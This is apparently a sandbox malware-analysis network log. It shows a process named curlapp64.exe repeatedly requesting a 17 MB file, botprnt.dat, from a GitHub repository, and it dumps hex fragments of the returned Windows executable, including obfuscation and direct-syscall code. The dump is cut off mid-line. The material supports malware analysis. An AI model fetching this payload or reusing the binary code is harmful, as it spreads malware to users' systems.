2024-12-10 06:35:23 UTC	1378	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 3f f7 f9 e3 7b 96 97 b0 7b 96 97 b0 7b 96 97 b0 09 17 96 b1 7e 96 97 b0 7b 96 96 b0 6a 96 97 b0 f8 10 92 b1 7a 96 97 b0 f8 10 94 b1 7a 96 97 b0 f8 10 97 b1 7a 96 97 b0 f8 10 95 b1 7a 96 97 b0 52 69 63 68 7b 96 97 b0 00 00 00 00 00 00 00 00 50 45 00 00 64 86 04 00 ec 70 55 67 00 00 00 00 00 00 00 00 f0 00 22 20 0b 02 0e 2a 00 2a 00 00 00 f2 08 01 00 00 00 00 20 24 00 00 00 10 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$?{{{~{jzzzzRich{PEdpUg" ** $
2024-12-10 06:35:23 UTC	1378	IN	Data Raw: 46 fd 88 4e f4 0f b6 4e f5 88 46 f5 0f b6 46 01 88 4e fd 0f b6 4e f9 88 46 f9 0f b6 46 fa 88 4e 01 0f b6 4e f6 88 46 f6 0f b6 46 fe 88 46 fa 0f b6 46 02 88 46 fe 88 4e 02 0f 1f 44 00 00 49 8b c8 ba 04 00 00 00 0f 1f 84 00 00 00 00 00 0f b6 01 48 8d 49 04 42 0f b6 04 18 88 41 fc 48 83 ea 01 75 eb 49 ff c0 49 83 e9 01 75 d2 44 0f b6 c5 48 8b c3 49 c1 e0 04 41 b9 04 00 00 00 4c 2b c3 4c 03 c7 66 66 66 0f 1f 84 00 00 00 00 00 ba 04 00 00 00 66 66 66 0f 1f 84 00 00 00 00 00 41 0f b6 0c 00 30 08 48 ff c0 48 83 ea 01 75 f0 49 83 e9 01 75 da 40 84 ed 74 18 48 8b cb e8 1d 01 00 00 40 80 c5 ff 4c 8d 1d 32 31 00 00 e9 0d ff ff ff b9 10 00 00 00 0f 1f 84 00 00 00 00 00 41 0f b6 04 1f 30 03 48 8d 5b 01 48 83 e9 01 75 ef 0f b6 84 24 80 00 00 00 48 83 c6 10 88 87 b1 00 Data Ascii: FNNFFNNFFNNFFFFFNDIHIBAHuIIuDHIAL+LffffffA0HHuIu@tH@L21A0H[Hu$H
2024-12-10 06:35:23 UTC	1378	IN	Data Raw: 0f b6 b4 16 60 42 00 00 49 8d 57 fe 42 0f b6 b4 15 60 42 00 00 42 0f b6 ac 13 60 42 00 00 48 c1 ea 02 42 0f b6 9c 12 60 44 00 00 43 32 9c 11 60 42 00 00 46 8d 04 ad f0 ff ff ff 41 32 1c 08 41 8d 40 01 42 8d 3c ad 00 00 00 00 44 0f b6 cb 88 1c 0f 44 32 34 08 8d 47 01 44 88 34 08 45 0f b6 e6 41 8d 40 02 40 32 34 08 8d 47 02 40 88 34 08 44 0f b6 d6 41 8d 40 03 40 32 2c 08 8d 47 03 40 88 2c 08 44 0f b6 dd 41 8d 45 01 a8 03 75 4a 4c 8d 05 a6 e8 ff ff 40 0f b6 c6 49 8d 57 ff 48 c1 ea 02 46 0f b6 a4 00 60 42 00 00 40 0f b6 c5 46 0f b6 8c 02 60 44 00 00 46 0f b6 94 00 60 42 00 00 0f b6 c3 46 0f b6 9c 00 60 42 00 00 41 0f b6 c6 46 32 8c 00 60 42 00 00 8d 47 04 46 8d 04 ad f4 ff ff ff 45 32 0c 08 44 88 0c 08 41 8d 40 01 44 32 24 08 8d 47 05 44 88 24 08 41 8d 40 02 Data Ascii: `BIWB`BB`BHB`DC2`BFA2A@B<DD24GD4EA@@24G@4DA@@2,G@,DAEuJL@IWHF`B@F`DF`BF`BAF2`BGFE2DA@D2$GD$A@
2024-12-10 06:35:23 UTC	1378	IN	Data Raw: 48 89 43 50 49 8b 45 08 48 89 43 58 48 b8 00 00 00 00 00 10 00 00 48 c7 43 68 0a 00 02 00 48 c7 43 70 08 00 00 00 48 89 73 78 48 89 44 24 78 48 8d 44 24 78 48 89 83 98 00 00 00 48 8b 45 78 48 c7 83 88 00 00 00 10 00 02 00 48 c7 83 90 00 00 00 08 00 00 00 48 85 c0 74 1f 48 c7 83 a8 00 00 00 00 00 06 00 48 c7 83 b0 00 00 00 08 00 00 00 48 89 83 b8 00 00 00 eb 04 48 83 03 e0 33 c0 48 89 5c 24 50 0f 57 c0 48 89 45 10 0f 11 45 c0 48 8d 45 c0 48 c7 45 c0 58 00 00 00 48 89 44 24 48 48 8d 54 24 70 48 8b 44 24 60 48 8d 4c 24 68 48 89 44 24 40 41 b9 00 00 00 02 44 89 64 24 38 48 8d 45 88 44 89 64 24 30 45 8b c1 48 89 44 24 28 48 8d 45 88 0f 11 45 d0 48 89 44 24 20 0f 11 45 e0 44 89 65 c8 0f 11 45 f0 c7 45 d0 01 00 00 00 0f 11 45 00 4c 89 64 24 68 4c 89 64 24 70 e8 Data Ascii: HCPIEHCXHHChHCpHsxHD$xHD$xHHExHHHtHHHH3H\$PWHEEHEHEXHD$HHT$pHD$`HL$hHD$@ADd$8HEDd$0EHD$(HEEHD$ EDeEEELd$hLd$p
2024-12-10 06:35:23 UTC	1378	IN	Data Raw: 44 24 70 01 00 00 00 c7 44 24 74 51 fd 31 e9 48 89 75 80 c7 45 88 01 00 00 00 c7 45 8c 3f 3e 44 b5 48 89 75 98 c7 45 a0 01 00 00 00 c7 45 a4 92 59 18 40 48 89 75 b0 c7 45 b8 01 00 00 00 c7 45 bc 2e b3 3f 8a 48 89 75 c8 89 75 d0 c7 45 d4 2f 4d 75 13 48 89 75 d8 89 75 e8 c7 45 ec ac da f9 52 48 89 75 f0 89 75 00 c7 45 04 30 fa 79 b7 48 89 75 08 89 75 18 c7 45 1c e9 2e 6f 1c 48 89 75 20 89 75 30 c7 45 34 58 fd e2 09 48 89 75 38 89 75 48 c7 45 4c 7b fa 26 a5 48 89 75 50 4d 85 ff 75 17 be ff ff ff ff 8b c6 48 81 c4 78 04 00 00 41 5f 41 5e 5f 5e 5b 5d c3 49 63 4f 3c 48 8d 85 70 02 00 00 49 03 cf 4c 89 a4 24 70 04 00 00 48 8d 80 80 00 00 00 4c 89 ac 24 68 04 00 00 44 8b f6 8b fe 0f 10 41 18 0f 10 49 28 0f 11 40 80 0f 10 41 38 0f 11 48 90 0f 10 49 48 0f 11 40 a0 Data Ascii: D$pD$tQ1HuEE?>DHuEEY@HuEE.?HuuE/MuHuuERHuuE0yHuuE.oHu u0E4XHu8uHEL{&HuPMuHxA_A^_^[]IcO<HpIL$pHL$hDAI(@A8HIH@
2024-12-10 06:35:23 UTC	1378	IN	Data Raw: 05 b1 1a 00 00 e8 2c f7 ff ff f3 0f 7e 0d 94 29 00 00 0f 57 c0 f3 0f 7e 15 91 29 00 00 b9 10 00 00 00 66 0f 60 c8 66 0f 60 d0 f3 0f 7f 4d b0 f3 0f 7f 55 c0 66 90 0f b6 04 19 66 89 44 4d b0 48 ff c1 48 83 f9 14 72 ee 48 8d 1d 77 29 00 00 ba 50 01 00 00 48 8b cb 4c 8d 0d b8 1a 00 00 4c 8d 05 91 1a 00 00 e8 cc f6 ff ff 48 8b cf 66 0f 1f 84 00 00 00 00 00 f3 0f 7e 0c 19 0f 57 c0 66 0f 60 c8 f3 0f 7f 8c 4d 90 00 00 00 f3 0f 7e 4c 19 08 66 0f 60 c8 f3 0f 7f 8c 4d a0 00 00 00 f3 0f 7e 4c 19 10 66 0f 60 c8 f3 0f 7f 8c 4d b0 00 00 00 f3 0f 7e 4c 19 18 66 0f 60 c8 f3 0f 7f 8c 4d c0 00 00 00 48 83 c1 20 48 81 f9 40 01 00 00 72 a5 48 81 f9 4b 01 00 00 73 24 0f 1f 40 00 0f 1f 84 00 00 00 00 00 0f b6 04 19 66 89 84 4d 90 00 00 00 48 ff c1 48 81 f9 4b 01 00 00 72 e8 65 Data Ascii: ,~)W~)f`f`MUffDMHHrHw)PHLLHf~Wf`M~Lf`M~Lf`M~Lf`MH H@rHKs$@fMHHKre
2024-12-10 06:35:23 UTC	1378	IN	Data Raw: 45 bc 88 42 0c 0f b6 45 bd 88 42 0d 0f b6 45 be 88 42 0e 0f b6 45 bf 88 42 0f 0f b6 45 c0 88 42 10 0f b6 45 c1 88 42 11 0f b6 45 c2 88 42 12 0f b6 45 c3 88 42 13 0f b6 45 c4 88 42 14 0f b6 45 c5 88 42 15 0f b6 45 c6 88 42 16 0f b6 45 c7 88 42 17 0f b6 45 c8 88 42 18 0f b6 45 c9 88 42 19 0f b6 45 ca 88 42 1a 0f b6 45 cb 88 42 1b 0f b6 45 cc 88 42 1c 0f b6 45 cd 88 42 1d 0f b6 45 ce 88 42 1e 0f b6 45 cf 88 42 1f 0f b6 45 d0 88 42 20 0f b6 45 d1 88 42 21 0f b6 45 d2 88 42 22 0f b6 45 d3 88 42 23 0f b6 45 d4 88 42 24 0f b6 45 d5 88 42 25 0f b6 45 d6 88 42 26 0f b6 45 d7 88 42 27 0f b6 45 d8 88 42 28 0f b6 45 d9 88 42 29 c7 85 80 00 00 00 28 00 08 02 65 48 8b 04 25 30 00 00 00 4d 8b c6 ba 08 00 00 00 48 8b 48 60 48 8b 49 30 ff 15 d3 04 09 01 48 89 45 48 48 85 Data Ascii: EBEBEBEBEBEBEBEBEBEBEBEBEBEBEBEBEBEBEBEBEB EB!EB"EB#EB$EB%EB&EB'EB(EB)(eH%0MHH`HI0HEHH
2024-12-10 06:35:23 UTC	1378	IN	Data Raw: d8 06 41 88 40 25 66 0f 7e c0 66 41 0f 6f c0 66 0f 73 d8 07 41 88 40 26 66 0f 7e c0 66 41 0f 6f c0 66 0f 73 d8 08 41 88 40 27 66 0f 7e c0 66 41 0f 6f c0 66 0f 73 d8 09 41 88 40 28 66 0f 7e c0 66 41 0f 6f c0 66 0f 73 d8 0a 41 88 40 29 66 0f 7e c0 66 41 0f 6f c0 66 0f 73 d8 0b 41 88 40 2a 66 0f 7e c0 66 41 0f 6f c0 66 0f 73 d8 0c 41 88 40 2b 66 0f 7e c0 66 41 0f 6f c0 66 0f 73 d8 0d 41 88 40 2c 66 0f 7e c0 66 41 0f 6f c0 66 0f 73 d8 0e 66 41 0f 73 d8 0f 41 88 40 2d 66 0f 7e c0 66 41 0f 6f c1 66 0f 73 d8 01 41 88 40 2e 66 44 0f 7e c0 41 88 40 2f 66 44 0f 7e c8 41 88 40 30 66 0f 7e c0 66 41 0f 6f c1 66 0f 73 d8 02 41 88 40 31 66 0f 7e c0 66 41 0f 6f c1 66 0f 73 d8 03 41 88 40 32 66 0f 7e c0 66 41 0f 6f c1 66 0f 73 d8 04 41 88 40 33 66 0f 7e c0 66 41 0f 6f c1 Data Ascii: A@%f~fAofsA@&f~fAofsA@'f~fAofsA@(f~fAofsA@)f~fAofsA@*f~fAofsA@+f~fAofsA@,f~fAofsfAsA@-f~fAofsA@.fD~A@/fD~A@0f~fAofsA@1f~fAofsA@2f~fAofsA@3f~fAo
2024-12-10 06:35:23 UTC	1378	IN	Data Raw: 33 d2 33 c9 ff d0 85 c0 78 0d 48 8b 8d 90 03 00 00 ff 15 19 fb 08 01 48 8d 95 90 03 00 00 48 c7 85 90 03 00 00 80 69 67 ff 33 c9 e8 bc 00 00 00 65 48 8b 04 25 30 00 00 00 33 d2 4c 8b 45 58 48 8b 48 60 48 8b 49 30 ff 15 c3 fa 08 01 48 89 7d 58 33 d2 89 7d 50 65 48 8b 04 25 30 00 00 00 4c 8b 45 78 48 8b 48 60 48 8b 49 30 ff 15 9f fa 08 01 48 81 c4 78 04 00 00 5f 5d c3 cc cc cc cc cc 48 83 ec 08 4c 8b c9 4d 85 c0 74 13 48 89 3c 24 48 8b f9 49 8b c8 0f b6 c2 f3 aa 48 8b 3c 24 49 8b c1 48 83 c4 08 c3 cc cc cc cc cc cc cc cc cc 4c 8b d1 8b 05 37 fa 08 01 0f 05 c3 4c 8b d1 8b 05 2f fa 08 01 0f 05 c3 4c 8b d1 8b 05 27 fa 08 01 0f 05 c3 4c 8b d1 8b 05 1f fa 08 01 0f 05 c3 4c 8b d1 8b 05 17 fa 08 01 0f 05 c3 4c 8b d1 8b 05 0f fa 08 01 0f 05 c3 00 00 00 00 00 00 00 Data Ascii: 33xHHHig3eH%03LEXHH`HI0H}X3}PeH%0LExHH`HI0Hx_]HLMtH<$HIH<$IHL7L/L'LLL
2024-12-10 06:35:23 UTC	1378	IN	Data Raw: c9 7d fa 59 47 f0 ad d4 a2 af 9c a4 72 c0 b7 fd 93 26 36 3f f7 cc 34 a5 e5 f1 71 d8 31 15 04 c7 23 c3 18 96 05 9a 07 12 80 e2 eb 27 b2 75 09 83 2c 1a 1b 6e 5a a0 52 3b d6 b3 29 e3 2f 84 53 d1 00 ed 20 fc b1 5b 6a cb be 39 4a 4c 58 cf d0 ef aa fb 43 4d 33 85 45 f9 02 7f 50 3c 9f a8 51 a3 40 8f 92 9d 38 f5 bc b6 da 21 10 ff f3 d2 cd 0c 13 ec 5f 97 44 17 c4 a7 7e 3d 64 5d 19 73 60 81 4f dc 22 2a 90 88 46 ee b8 14 de 5e 0b db e0 32 3a 0a 49 06 24 5c c2 d3 ac 62 91 95 e4 79 e7 c8 37 6d 8d d5 4e a9 6c 56 f4 ea 65 7a ae 08 ba 78 25 2e 1c a6 b4 c6 e8 dd 74 1f 4b bd 8b 8a 70 3e b5 66 48 03 f6 0e 61 35 57 b9 86 c1 1d 9e e1 f8 98 11 69 d9 8e 94 9b 1e 87 e9 ce 55 28 df 8c a1 89 0d bf e6 42 68 41 99 2d 0f b0 54 bb 16 52 09 6a d5 30 36 a5 38 bf 40 a3 9e 81 f3 d7 fb 7c Data Ascii: }YGr&6?4q1#'u,nZR;)/S [j9JLXCM3EP<Q@8!_D~=d]s`O"*F^2:I$\by7mNlVezx%.tKp>fHa5WiU(BhA-TRj068@\|

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49751	20.233.83.145	443	1264	C:\Users\user\Desktop\curlapp64.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 06:35:24 UTC	88	OUT	HEAD /botrunvd01/botdwl/raw/main/botprnt.dat HTTP/1.1 Host: github.com Accept: /
2024-12-10 06:35:25 UTC	549	IN	HTTP/1.1 302 Found Server: GitHub.com Date: Tue, 10 Dec 2024 06:35:07 GMT Content-Type: text/html; charset=utf-8 Vary: X-PJAX, X-PJAX-Container, Turbo-Visit, Turbo-Frame, Accept-Encoding, Accept, X-Requested-With Access-Control-Allow-Origin: Location: https://raw.githubusercontent.com/botrunvd01/botdwl/main/botprnt.dat Cache-Control: no-cache Strict-Transport-Security: max-age=31536000; includeSubdomains; preload X-Frame-Options: deny X-Content-Type-Options: nosniff X-XSS-Protection: 0 Referrer-Policy: no-referrer-when-downgrade
2024-12-10 06:35:25 UTC	3379	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 27 6e 6f 6e 65 27 3b 20 62 61 73 65 2d 75 72 69 20 27 73 65 6c 66 27 3b 20 63 68 69 6c 64 2d 73 72 63 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 20 67 69 74 68 75 62 2e 63 6f 6d 2f 77 65 62 70 61 63 6b 2f 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 20 67 69 73 74 2e 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 3b 20 63 6f 6e 6e 65 63 74 2d 73 72 63 20 27 73 65 6c 66 27 20 75 70 6c 6f 61 64 73 2e 67 69 74 68 75 62 2e 63 6f 6d 20 77 77 77 2e 67 69 74 68 75 62 73 74 61 74 75 73 2e 63 6f 6d 20 63 6f 6c 6c 65 63 74 6f 72 2e 67 69 74 68 75 62 2e 63 6f Data Ascii: Content-Security-Policy: default-src 'none'; base-uri 'self'; child-src github.com/assets-cdn/worker/ github.com/webpack/ github.com/assets/ gist.github.com/assets-cdn/worker/; connect-src 'self' uploads.github.com www.githubstatus.com collector.github.co

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49759	185.199.109.133	443	1264	C:\Users\user\Desktop\curlapp64.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 06:35:26 UTC	99	OUT	HEAD /botrunvd01/botdwl/main/botprnt.dat HTTP/1.1 Host: raw.githubusercontent.com Accept: /
2024-12-10 06:35:27 UTC	902	IN	HTTP/1.1 200 OK Connection: close Content-Length: 17375232 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: application/octet-stream ETag: "7cbcbacbd0e618085a41fd0edfbf97987a034ec2cc9fcab6a684b93b3c831467" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: A214:3389B3:301995:359EEE:6757E11C Accept-Ranges: bytes Date: Tue, 10 Dec 2024 06:35:27 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740029-EWR X-Cache: HIT X-Cache-Hits: 3 X-Timer: S1733812527.010975,VS0,VE0 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: 7281da9af6e34935a720d8dc441d71fb657095ba Expires: Tue, 10 Dec 2024 06:40:27 GMT Source-Age: 18

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49764	20.233.83.145	443	1264	C:\Users\user\Desktop\curlapp64.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 06:35:28 UTC	87	OUT	GET /botrunvd01/botdwl/raw/main/botprnt.dat HTTP/1.1 Host: github.com Accept: /
2024-12-10 06:35:29 UTC	549	IN	HTTP/1.1 302 Found Server: GitHub.com Date: Tue, 10 Dec 2024 06:35:07 GMT Content-Type: text/html; charset=utf-8 Vary: X-PJAX, X-PJAX-Container, Turbo-Visit, Turbo-Frame, Accept-Encoding, Accept, X-Requested-With Access-Control-Allow-Origin: Location: https://raw.githubusercontent.com/botrunvd01/botdwl/main/botprnt.dat Cache-Control: no-cache Strict-Transport-Security: max-age=31536000; includeSubdomains; preload X-Frame-Options: deny X-Content-Type-Options: nosniff X-XSS-Protection: 0 Referrer-Policy: no-referrer-when-downgrade
2024-12-10 06:35:29 UTC	3378	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 27 6e 6f 6e 65 27 3b 20 62 61 73 65 2d 75 72 69 20 27 73 65 6c 66 27 3b 20 63 68 69 6c 64 2d 73 72 63 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 20 67 69 74 68 75 62 2e 63 6f 6d 2f 77 65 62 70 61 63 6b 2f 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 20 67 69 73 74 2e 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 3b 20 63 6f 6e 6e 65 63 74 2d 73 72 63 20 27 73 65 6c 66 27 20 75 70 6c 6f 61 64 73 2e 67 69 74 68 75 62 2e 63 6f 6d 20 77 77 77 2e 67 69 74 68 75 62 73 74 61 74 75 73 2e 63 6f 6d 20 63 6f 6c 6c 65 63 74 6f 72 2e 67 69 74 68 75 62 2e 63 6f Data Ascii: Content-Security-Policy: default-src 'none'; base-uri 'self'; child-src github.com/assets-cdn/worker/ github.com/webpack/ github.com/assets/ gist.github.com/assets-cdn/worker/; connect-src 'self' uploads.github.com www.githubstatus.com collector.github.co

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49770	185.199.109.133	443	1264	C:\Users\user\Desktop\curlapp64.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 06:35:30 UTC	98	OUT	GET /botrunvd01/botdwl/main/botprnt.dat HTTP/1.1 Host: raw.githubusercontent.com Accept: /
2024-12-10 06:35:31 UTC	902	IN	HTTP/1.1 200 OK Connection: close Content-Length: 17375232 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: application/octet-stream ETag: "7cbcbacbd0e618085a41fd0edfbf97987a034ec2cc9fcab6a684b93b3c831467" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: 4DD6:37C0E5:13E06D:1611DA:6757E121 Accept-Ranges: bytes Date: Tue, 10 Dec 2024 06:35:30 GMT Via: 1.1 varnish X-Served-By: cache-nyc-kteb1890037-NYC X-Cache: HIT X-Cache-Hits: 0 X-Timer: S1733812531.947694,VS0,VE1 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: a5afd60beab1f5d4df9af35c5ad50ec6e86c87b0 Expires: Tue, 10 Dec 2024 06:40:30 GMT Source-Age: 12
2024-12-10 06:35:31 UTC	1378	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 3f f7 f9 e3 7b 96 97 b0 7b 96 97 b0 7b 96 97 b0 09 17 96 b1 7e 96 97 b0 7b 96 96 b0 6a 96 97 b0 f8 10 92 b1 7a 96 97 b0 f8 10 94 b1 7a 96 97 b0 f8 10 97 b1 7a 96 97 b0 f8 10 95 b1 7a 96 97 b0 52 69 63 68 7b 96 97 b0 00 00 00 00 00 00 00 00 50 45 00 00 64 86 04 00 ec 70 55 67 00 00 00 00 00 00 00 00 f0 00 22 20 0b 02 0e 2a 00 2a 00 00 00 f2 08 01 00 00 00 00 20 24 00 00 00 10 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$?{{{~{jzzzzRich{PEdpUg" ** $
2024-12-10 06:35:31 UTC	1378	IN	Data Raw: 46 fd 88 4e f4 0f b6 4e f5 88 46 f5 0f b6 46 01 88 4e fd 0f b6 4e f9 88 46 f9 0f b6 46 fa 88 4e 01 0f b6 4e f6 88 46 f6 0f b6 46 fe 88 46 fa 0f b6 46 02 88 46 fe 88 4e 02 0f 1f 44 00 00 49 8b c8 ba 04 00 00 00 0f 1f 84 00 00 00 00 00 0f b6 01 48 8d 49 04 42 0f b6 04 18 88 41 fc 48 83 ea 01 75 eb 49 ff c0 49 83 e9 01 75 d2 44 0f b6 c5 48 8b c3 49 c1 e0 04 41 b9 04 00 00 00 4c 2b c3 4c 03 c7 66 66 66 0f 1f 84 00 00 00 00 00 ba 04 00 00 00 66 66 66 0f 1f 84 00 00 00 00 00 41 0f b6 0c 00 30 08 48 ff c0 48 83 ea 01 75 f0 49 83 e9 01 75 da 40 84 ed 74 18 48 8b cb e8 1d 01 00 00 40 80 c5 ff 4c 8d 1d 32 31 00 00 e9 0d ff ff ff b9 10 00 00 00 0f 1f 84 00 00 00 00 00 41 0f b6 04 1f 30 03 48 8d 5b 01 48 83 e9 01 75 ef 0f b6 84 24 80 00 00 00 48 83 c6 10 88 87 b1 00 Data Ascii: FNNFFNNFFNNFFFFFNDIHIBAHuIIuDHIAL+LffffffA0HHuIu@tH@L21A0H[Hu$H
2024-12-10 06:35:31 UTC	1378	IN	Data Raw: 0f b6 b4 16 60 42 00 00 49 8d 57 fe 42 0f b6 b4 15 60 42 00 00 42 0f b6 ac 13 60 42 00 00 48 c1 ea 02 42 0f b6 9c 12 60 44 00 00 43 32 9c 11 60 42 00 00 46 8d 04 ad f0 ff ff ff 41 32 1c 08 41 8d 40 01 42 8d 3c ad 00 00 00 00 44 0f b6 cb 88 1c 0f 44 32 34 08 8d 47 01 44 88 34 08 45 0f b6 e6 41 8d 40 02 40 32 34 08 8d 47 02 40 88 34 08 44 0f b6 d6 41 8d 40 03 40 32 2c 08 8d 47 03 40 88 2c 08 44 0f b6 dd 41 8d 45 01 a8 03 75 4a 4c 8d 05 a6 e8 ff ff 40 0f b6 c6 49 8d 57 ff 48 c1 ea 02 46 0f b6 a4 00 60 42 00 00 40 0f b6 c5 46 0f b6 8c 02 60 44 00 00 46 0f b6 94 00 60 42 00 00 0f b6 c3 46 0f b6 9c 00 60 42 00 00 41 0f b6 c6 46 32 8c 00 60 42 00 00 8d 47 04 46 8d 04 ad f4 ff ff ff 45 32 0c 08 44 88 0c 08 41 8d 40 01 44 32 24 08 8d 47 05 44 88 24 08 41 8d 40 02 Data Ascii: `BIWB`BB`BHB`DC2`BFA2A@B<DD24GD4EA@@24G@4DA@@2,G@,DAEuJL@IWHF`B@F`DF`BF`BAF2`BGFE2DA@D2$GD$A@
2024-12-10 06:35:31 UTC	1378	IN	Data Raw: 48 89 43 50 49 8b 45 08 48 89 43 58 48 b8 00 00 00 00 00 10 00 00 48 c7 43 68 0a 00 02 00 48 c7 43 70 08 00 00 00 48 89 73 78 48 89 44 24 78 48 8d 44 24 78 48 89 83 98 00 00 00 48 8b 45 78 48 c7 83 88 00 00 00 10 00 02 00 48 c7 83 90 00 00 00 08 00 00 00 48 85 c0 74 1f 48 c7 83 a8 00 00 00 00 00 06 00 48 c7 83 b0 00 00 00 08 00 00 00 48 89 83 b8 00 00 00 eb 04 48 83 03 e0 33 c0 48 89 5c 24 50 0f 57 c0 48 89 45 10 0f 11 45 c0 48 8d 45 c0 48 c7 45 c0 58 00 00 00 48 89 44 24 48 48 8d 54 24 70 48 8b 44 24 60 48 8d 4c 24 68 48 89 44 24 40 41 b9 00 00 00 02 44 89 64 24 38 48 8d 45 88 44 89 64 24 30 45 8b c1 48 89 44 24 28 48 8d 45 88 0f 11 45 d0 48 89 44 24 20 0f 11 45 e0 44 89 65 c8 0f 11 45 f0 c7 45 d0 01 00 00 00 0f 11 45 00 4c 89 64 24 68 4c 89 64 24 70 e8 Data Ascii: HCPIEHCXHHChHCpHsxHD$xHD$xHHExHHHtHHHH3H\$PWHEEHEHEXHD$HHT$pHD$`HL$hHD$@ADd$8HEDd$0EHD$(HEEHD$ EDeEEELd$hLd$p
2024-12-10 06:35:31 UTC	1378	IN	Data Raw: 44 24 70 01 00 00 00 c7 44 24 74 51 fd 31 e9 48 89 75 80 c7 45 88 01 00 00 00 c7 45 8c 3f 3e 44 b5 48 89 75 98 c7 45 a0 01 00 00 00 c7 45 a4 92 59 18 40 48 89 75 b0 c7 45 b8 01 00 00 00 c7 45 bc 2e b3 3f 8a 48 89 75 c8 89 75 d0 c7 45 d4 2f 4d 75 13 48 89 75 d8 89 75 e8 c7 45 ec ac da f9 52 48 89 75 f0 89 75 00 c7 45 04 30 fa 79 b7 48 89 75 08 89 75 18 c7 45 1c e9 2e 6f 1c 48 89 75 20 89 75 30 c7 45 34 58 fd e2 09 48 89 75 38 89 75 48 c7 45 4c 7b fa 26 a5 48 89 75 50 4d 85 ff 75 17 be ff ff ff ff 8b c6 48 81 c4 78 04 00 00 41 5f 41 5e 5f 5e 5b 5d c3 49 63 4f 3c 48 8d 85 70 02 00 00 49 03 cf 4c 89 a4 24 70 04 00 00 48 8d 80 80 00 00 00 4c 89 ac 24 68 04 00 00 44 8b f6 8b fe 0f 10 41 18 0f 10 49 28 0f 11 40 80 0f 10 41 38 0f 11 48 90 0f 10 49 48 0f 11 40 a0 Data Ascii: D$pD$tQ1HuEE?>DHuEEY@HuEE.?HuuE/MuHuuERHuuE0yHuuE.oHu u0E4XHu8uHEL{&HuPMuHxA_A^_^[]IcO<HpIL$pHL$hDAI(@A8HIH@
2024-12-10 06:35:31 UTC	1378	IN	Data Raw: 05 b1 1a 00 00 e8 2c f7 ff ff f3 0f 7e 0d 94 29 00 00 0f 57 c0 f3 0f 7e 15 91 29 00 00 b9 10 00 00 00 66 0f 60 c8 66 0f 60 d0 f3 0f 7f 4d b0 f3 0f 7f 55 c0 66 90 0f b6 04 19 66 89 44 4d b0 48 ff c1 48 83 f9 14 72 ee 48 8d 1d 77 29 00 00 ba 50 01 00 00 48 8b cb 4c 8d 0d b8 1a 00 00 4c 8d 05 91 1a 00 00 e8 cc f6 ff ff 48 8b cf 66 0f 1f 84 00 00 00 00 00 f3 0f 7e 0c 19 0f 57 c0 66 0f 60 c8 f3 0f 7f 8c 4d 90 00 00 00 f3 0f 7e 4c 19 08 66 0f 60 c8 f3 0f 7f 8c 4d a0 00 00 00 f3 0f 7e 4c 19 10 66 0f 60 c8 f3 0f 7f 8c 4d b0 00 00 00 f3 0f 7e 4c 19 18 66 0f 60 c8 f3 0f 7f 8c 4d c0 00 00 00 48 83 c1 20 48 81 f9 40 01 00 00 72 a5 48 81 f9 